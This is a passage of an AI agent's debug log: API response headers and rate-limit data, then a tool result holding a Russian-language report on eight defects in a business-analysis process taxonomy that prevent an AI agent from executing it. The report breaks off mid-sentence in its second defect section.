https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:09.989Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:09 GMT\",\n[2026-09-29T07:45:09.998Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:10.004Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:10.011Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:10.014Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:10.018Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:10.026Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:10.036Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:10.049Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:10.058Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:10.065Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:10.071Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:10.077Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:10.082Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:10.086Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:10.098Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:10.103Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:10.111Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:10.120Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:10.131Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:10.135Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:10.140Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:10.142Z] [STDOUT]   \"request-id\": \"req_011CfXMjYCxNBLXXhzSZqQGj\",\n[2026-09-29T07:45:10.145Z] [STDOUT]   \"traceresponse\": \"00-ad651084c9f4908baba47ffcd4fe1c8f-51be73680355b3f5-01\",\n[2026-09-29T07:45:10.149Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:10.155Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:10.159Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:10.162Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:10.166Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:10.171Z] [STDOUT]   \"cf-ray\": \"a4295ddaafe1dbb5-FRA\",\n[2026-09-29T07:45:10.174Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:10.178Z] [STDOUT] [log_5ffe28] response parsed {\n[2026-09-29T07:45:10.183Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:10.186Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:10.190Z] [STDOUT]   body: X {\n[2026-09-29T07:45:10.200Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:10.209Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:10.213Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:10.224Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:10.239Z] [STDOUT]     },\n[2026-09-29T07:45:10.245Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:10.248Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:10.254Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:10.261Z] [STDOUT]   },\n[2026-09-29T07:45:10.264Z] [STDOUT]   durationMs: 824,\n[2026-09-29T07:45:10.269Z] [STDOUT] }\n[2026-09-29T07:45:10.280Z] [INFO] {\n[2026-09-29T07:45:10.280Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:10.280Z] [INFO]   \"message\": {\n[2026-09-29T07:45:10.280Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:10.280Z] [INFO]     \"id\": \"msg_011CfXMjYkTUyHG75Hqugohi\",\n[2026-09-29T07:45:10.280Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:10.280Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:10.280Z] [INFO]     \"content\": [\n[2026-09-29T07:45:10.280Z] [INFO]       {\n[2026-09-29T07:45:10.280Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:10.280Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:10.280Z] [INFO]         \"signature\": \"CAQS5wUKEAgSGAI4AUIIdGhpbmtpbmcSDHmALuDPuKPXmlxvfBoMSPg7/Mle/JLQrNP4IjBGA/WJ8yXOkAmVWH1bv1FxWIcQz/GmA1Rd5nIiO5GqZIb8wfvooAyT3B4v+YRhankqhAXsBy4uk60sFtFWhLWJQi7oP8quTa3WbiKAcr5xlUgKGqFonp26xoil30clCXn7fmrY4+1BCPTa/K9FKKvgfRtTICMELZ8PxJUmwFl1B4oqJ1Arm6+SQcz3gps6bHc1RtSaI9yrY5V3wTjtZuVLdIvMJEv94iFbPO6CX/ESDF62prbHiwplaV1lDhQ4L5+N+ImYmJTHeRCgGur/dyVQxhBMWUaLjd0a1GkOQTYN7pt+uZkxmdcyzaknQyPdf534p3auMttOKjE+WZ94kxGpd1sAsezLoj/yLy39pvs6joB0fQfsrAgCCraq5C/9wy3dK2uHSfzvoPSuIfxsYBZIciLJQao+8M1d1C8IAQsAQem7EFYyIYisVMA4KsBNkf/xqQ+rFQBSmZ3P2T9ABhxN90xRw0z5/JbTw5b845B2s05dfgmXhuM8YbhYzrbnA6iSpMjPBzDPBd1JW0nNe4rK0dUaVrojszzoVPnNs21DIKvtCSkgkrPZfgzOCEui4E1NSu36Oy1RvBxuiM05MkRLac4RaDrYzk9uqy0KZfbek7GB7SBSoT6E6VyWzUbT97UbrP4VxOJdYFb1cBagCvXZD40HxkrgHq1dkXFlmCj9bG4qVKCg3a+eN1z1dtqWSHuyuOcaITuj0zLAVERHmPLIDbwh0KtHNvmKIkBqmccwpJkcfUBsmknaPIyVYgYNfyXlKVQND//FPM2N8r8qcxTheJAXB1Js6KC+Hi25yz4A6KgW79AeaaDoQwWmBXny2WwnrQVSk1ZlDupNtr9Vdwsgk2djifJzaWDSuCQE5yRvmTBUMh+uk3MyVcW3R7xl1av+rVDz0zPrfhDDeigpJ0C5FMwv/Yf+TRgB\"\n[2026-09-29T07:45:10.280Z] [INFO]       }\n[2026-09-29T07:45:10.280Z] [INFO]     ],\n[2026-09-29T07:45:10.280Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:10.280Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:10.280Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:10.280Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:10.280Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:10.280Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:10.280Z] [INFO]       \"cache_creation_input_tokens\": 6152,\n[2026-09-29T07:45:10.280Z] [INFO]       \"cache_read_input_tokens\": 43474,\n[2026-09-29T07:45:10.280Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:10.280Z] [INFO]         \"ephemeral_5m_input_tokens\": 6152,\n[2026-09-29T07:45:10.280Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:10.280Z] [INFO]       },\n[2026-09-29T07:45:10.280Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:45:10.280Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:10.280Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:10.280Z] [INFO]     },\n[2026-09-29T07:45:10.280Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:10.280Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:10.280Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:10.280Z] [INFO]   },\n[2026-09-29T07:45:10.280Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:10.280Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:10.280Z] [INFO]   \"uuid\": \"41ef5a31-b64c-41dc-9714-8d8b01990e1f\",\n[2026-09-29T07:45:10.280Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:09.971Z\",\n[2026-09-29T07:45:10.280Z] [INFO]   \"request_id\": \"req_011CfXMjYCxNBLXXhzSZqQGj\",\n[2026-09-29T07:45:10.280Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:10.280Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:10.280Z] [INFO] }\n[2026-09-29T07:45:10.297Z] [INFO] {\n[2026-09-29T07:45:10.297Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:10.297Z] [INFO]   \"message\": {\n[2026-09-29T07:45:10.297Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:10.297Z] [INFO]     \"content\": [\n[2026-09-29T07:45:10.297Z] [INFO]       {\n[2026-09-29T07:45:10.297Z] [INFO]         \"tool_use_id\": \"toolu_01RKDfoSwzA3DtkAgqBVUd7o\",\n[2026-09-29T07:45:10.297Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:10.297Z] [INFO]         \"content\": \"  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563\\\"\\n---\\n\\n# \u0414\u0435\u0444\u0435\u043a\u0442\u044b \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439: \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 2026-09-10\\n\\n> **\u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435.** \u0414\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 **\u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0435** \u0432\u043e\u0441\u044c\u043c\u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0445 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432, \u0438\u0437-\u0437\u0430\\n> \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0430\\n> AI-\u0430\u0433\u0435\u043d\u0442\u043e\u043c. \u0418\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0446\u0438\u044f \u0438 \u043d\u043e\u0432\u0430\u044f \u043d\u043e\u0440\u043c\u0430 \u2014 \u0432 \u043c\u043e\u0434\u0443\u043b\u044f\u0445\\n> [`process-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/00-introduction.md)\\n> \u0438\\n> [`operation-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/00-introduction.md).\\n> \u0421\u043d\u0438\u043c\u043e\u043a \u043e\u0442\u0434\u0435\u043b\u0451\u043d \u043e\u0442 \u043c\u043e\u0434\u0443\u043b\u0435\u0439, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u043e\u0440\u043f\u0443\u0441 \u0440\u0430\u0441\u0442\u0451\u0442: \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u043c \u043a\u043e\u043c\u043c\u0438\u0442\u0435 \u0447\u0438\u0441\u043b\u0430\\n> \u0431\u0443\u0434\u0443\u0442 \u0434\u0440\u0443\u0433\u0438\u043c\u0438.\\n\\n**\u041a\u043e\u0440\u043f\u0443\u0441.** \u0421\u043f\u0438\u0446\u0430 [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts)\\n\u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82aa73129ec5747af07f790aaf438b0fb6e9` (67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `runs/`,\\n`docs/taxonomy.md`, `standards/ba-ontology.md`, `docs/adr/009-*`) \u0438 \u0425\u0430\u0431 \u043d\u0430\\n\u043a\u043e\u043c\u043c\u0438\u0442\u0435 `15aa76f88987511312cbf7cdb2c87b8912fb53f5` (\u043c\u043e\u0434\u0443\u043b\u044c\\n[`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model)).\\n\\n**\u0418\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044c.**\\n[`exp/ba-process-taxonomy-571/audit-taxonomy-defects.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/audit-taxonomy-defects.py),\\n\u0441\u044b\u0440\u043e\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n[`taxonomy-defects.json`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/taxonomy-defects.json),\\n\u043b\u043e\u0433 \u2014\\n[`audit-taxonomy-defects.log`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/audit-taxonomy-defects.log).\\n\\n## \u0421\u0432\u043e\u0434\u043a\u0430\\n\\n| \u041a\u043e\u0434 | \u0414\u0435\u0444\u0435\u043a\u0442 | \u041c\u0435\u0440\u0430 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- | --- | --- |\\n| `D1` | \u0424\u0422 \u0438 \u0422\u0417 \u043d\u0430\u0437\u0432\u0430\u043d\u044b \u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0445\u043e\u0434\u043e\u043c `\u0424\u0422/\u0422\u0417` | \u043c\u0435\u0441\u0442 \u0441\u043b\u0438\u044f\u043d\u0438\u044f / \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0442\u0438\u043f\u043e\u0432 \u0432 \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u0438 \u0441\u043f\u0438\u0446\u044b | 29 / 2 |\\n| `D2` | \u00ab\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u00bb \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 | \u043c\u0435\u0441\u0442 / \u00ab\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u00bb \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0416\u0426 | 4 / \u0434\u0430 |\\n| `D3` | \u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 | \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 / \u0434\u043e\u043b\u044f | 7 \u0438\u0437 13 / 0.538 |\\n| `D4` | \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u0440\u0430\u0437\u043d\u043e\u0440\u043e\u0434\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b | \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 | 8 \u0438\u0437 13 |\\n| `D5` | \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043f\u043e\u0442\u0435\u0440\u044f\u043d \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0435 \u0432 \u0425\u0430\u0431 | \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0432 \u0441\u043f\u043e\u043a\u0435 / \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0439 \u0432 \u0425\u0430\u0431\u0435 | 6 / 0 |\\n| `D6` | \u043d\u0435\u0442 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u00ab\u0421\u0438\u0441\u0442\u0435\u043c\u0430\u00bb, \u00ab\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u00bb, \u00ab\u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u00bb | \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 / \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432, \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u0445 \u0430\u043a\u0442\u043e\u0440\u0430 | 3 / 5 |\\n| `D7` | \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u043c\u0438 | \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f / \u0432\u0441\u0435\u0433\u043e | 66 / 67 |\\n| `D8` | \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043e\u043f\u0438\u0441\u0430\u043d \u0431\u0435\u0437 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f | \u043c\u0430\u0440\u043a\u0435\u0440\u043e\u0432 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f / \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439 \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u043e\u0441\u0442\u0438 | 1 (\u043e\u0442\u0440\u0438\u0446\u0430\u043d\u0438\u0435) / 2 |\\n\\n\u041d\u0438 \u043e\u0434\u0438\u043d \u0438\u0437 \u0432\u043e\u0441\u044c\u043c\u0438 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0442\u0438\u043b\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c: \u043a\u0430\u0436\u0434\u044b\u0439 \u0434\u0435\u043b\u0430\u0435\u0442\\n\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044e **\u043d\u0435\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u043d\u043e** \u2014 \u043b\u0438\u0431\u043e \u043f\u043e\u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u0438\u043c\u044f \u0432\u044b\u0445\u043e\u0434\u0430 \u043d\u0435\\n\u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u0434\u0438\u043d \u0442\u0438\u043f \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 (`D1`, `D2`, `D3`, `D4`), \u043b\u0438\u0431\u043e \u043f\u043e\u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u0432\\n\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u0443\u0437\u043b\u0430, \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 (`D5`, `D6`,\\n`D8`), \u043b\u0438\u0431\u043e \u043f\u043e\u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u043d\u0435 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u043e\u0439\\n(`D7`).\\n\\n## D1. \u00ab\u0424\u0422/\u0422\u0417\u00bb \u2014 \u043e\u0434\u043d\u043e \u0438\u043c\u044f \u0434\u043b\u044f \u0434\u0432\u0443\u0445 \u0442\u0438\u043f\u043e\u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\\n\\n\u041a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f `\u0424\u0422/\u0422\u0417` \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 **29 \u0440\u0430\u0437**, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438\\n\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u21161 `docs/taxonomy.md:69` \u0438 \u0432 \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0451\u043d\u043d\u043e\u0439 \u0432 \u0425\u0430\u0431 \u0441\u0442\u0440\u043e\u043a\u0435\\n`projects/ba-ai-process/ba-meta-model/20-taxonomy.md:93`:\\n\\n```\\n| `fr-generation` | \u043e\u0442 \u0441\u044b\u0440\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0434\u043e \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430 \u0424\u0422/\u0422\u0417 | ingestion, understanding, documentation, solution_design | A-FR, A-TZ |\\n```\\n\\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u044f \u0441\u0430\u043c\u043e\u0439 \u0441\u043f\u0438\u0446\u044b (`standards/ba-ontology.md`, \u00a74) \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442\\n**\u0434\u0432\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0442\u0438\u043f\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430** \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u0430\u043c\u0438 \u0444\u043e\u0440\u043c\u044b:\\n\\n| \u0422\u0438\u043f | \u0418\u043c\u044f | \u042d\u0442\u0430\u043b\u043e\u043d \u0444\u043e\u0440\u043c\u044b |\\n| --- | --- | --- |\\n| `A18` | `feature-spec-kk` \u2014 \u0424\u0422 \u041a\u041a | \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u041a\u041a |\\n| `A19` | `tz-contract` \u2014 \u0422\u0417 | \u0413\u041e\u0421\u0422 34.602-2020 |\\n\\n\u042d\u0442\u043e **\u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0440\u0435\u0447\u0438\u0435 \u043a\u043e\u0440\u043f\u0443\u0441\u0430**, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0431\u0435\u043b \u0425\u0430\u0431\u0430: \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435\\n\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0424\u0422 \u0438 \u0422\u0417 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0442\u0438\u043f\u0430\u043c\u0438 \u0432 \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u0438 \u0438 \u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0445\u043e\u0434\u043e\u043c \u0432\\n\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432. \u0425\u0430\u0431 \u0443\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u0443\u044e \u0438\u0437 \u0434\u0432\u0443\u0445 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043e\u043a.\\n\\n**\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f \u0430\u0433\u0435\u043d\u0442\u0430.** \u0421\u0442\u0440\u043e\u043a\u0430 `A-FR, A-TZ` \u0432 \u0433\u0440\u0430\u0444\u0435 \u00ab\u0432\u044b\u0445\u043e\u0434\u00bb \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f\\n\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c: \u0430\u0433\u0435\u043d\u0442 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c, \u043a\u0430\u043a\u043e\u0439 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043e\u043d \u043e\u0431\u044f\u0437\u0430\u043d\\n\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438, \u0438 \u043f\u043e \u043a\u0430\u043a\u043e\u043c\u0443 \u044d\u0442\u0430\u043b\u043e\u043d\u0443 \u0444\u043e\u0440\u043c\u044b \u0435\u0433\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c.\\n\\n## D2. \u00ab\u0427\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u00bb \u2014 \u044d\u0442\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u043e\u0433\u043e \u0446\u0438\u043a\u043b\u0430, \u0430 \u043d\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\\n\\n\u0424\u043e\u0440\u043c\u0443\u043b\u0430 \u00ab\u0434\u043e \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430 \u0424\u0422/\u0422\u0417\u00bb \u0437\u0430\u0434\u0430\u0451\u0442 \u0433\u0440\u0430\u043d\u0438\u0446\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 **4 \u0440\u0430\u0437\u0430** (3 \u0440\u0430\u0437\u0430 \u0432 \u0441\u043f\u043e\u043a\u0435,\\n1 \u0440\u0430\u0437 \u0432 \u0425\u0430\u0431\u0435). \u041e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0432 `standards/ba-ontology.md`, \u00a75 `draft` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\\n**\u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u043e\u0433\u043e \u0446\u0438\u043a\u043b\u0430 